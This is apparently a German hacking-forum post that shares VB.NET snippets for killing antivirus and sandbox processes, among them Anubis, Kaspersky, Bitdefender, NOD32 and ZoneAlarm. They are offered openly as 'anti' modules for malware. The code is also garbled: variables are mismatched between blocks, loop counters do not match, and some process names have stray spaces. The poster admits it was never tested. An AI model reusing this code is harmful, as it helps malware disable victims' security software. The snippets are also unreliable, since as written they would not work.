So habe hier noch nen guten Source hoffe er hilft jemanden von euch --------------------------------------------------------------------- 'Anti Anubis
Dim Anubis As Process() = Process.GetProcesses
Dim a As Integer
For a = 0 To Anubis.Length - 1
Debug.WriteLine(Anubis(a).ProcessName)
If Strings.UCase(Anubis(a).ProcessName) = Strings.UCase("Anubis") Then
Anubis(a).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Outpost
Dim outpost As Process() = Process.GetProcesses
Dim o As Integer
For o = 0 To outpost.Length - 1
Debug.WriteLine(outpost(o).ProcessName)
If Strings.UCase(outpost(o).ProcessName) =Strings.UCase("outpost")Then
outpost(o).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Norman
Dim norman As Process() = Process.GetProcesses
Dim n As Integer
For n = 0 To norman.Length - 1
Debug.WriteLine(norman(n).ProcessName)
If Strings.UCase(outpost(n).ProcessName)=Strings.UCas e("npfmsg") Then
norman(n).Kill()
End If
Next
----------------------------------------------------------------------

'Anti Bitdefender
Dim bit As Process() = Process.GetProcesses
Dim b As Integer
For b = 0 To bit.Length - 1
Debug.WriteLine(bit(b).ProcessName)
If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
bit(b).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Kaspersky
Dim persky As Process() = Process.GetProcesses
Dim p As Integer
For p = 0 To persky.Length - 1
Debug.WriteLine(perky(p).ProcessName)
If Strings.UCase(perky(p).ProcessName) =Strings.UCase("kavsvc") Then
perky(p).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Nod32
Dim nod As Process() = Process.GetProcesses
Dim n As Integer
For o = 0 To nod.Length - 1
Debug.WriteLine(nod(n).ProcessName)
If Strings.UCase(nod(n).ProcessName)=Strings.UCase("e gui") Then
nod(n).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Zonealarm
Dim zone As Process() = Process.GetProcesses
Dim z As Integer
For o = 0 To zone.Length - 1
Debug.WriteLine(zone(z).ProcessName)
If Strings.UCase(zone(z).ProcessName)=Strings.UCase(" zlclient") Then
zone(z).Kill()
End If
Next
-----------------------------------------------------------------------
müßte so klappen habe es nicht ausprobiert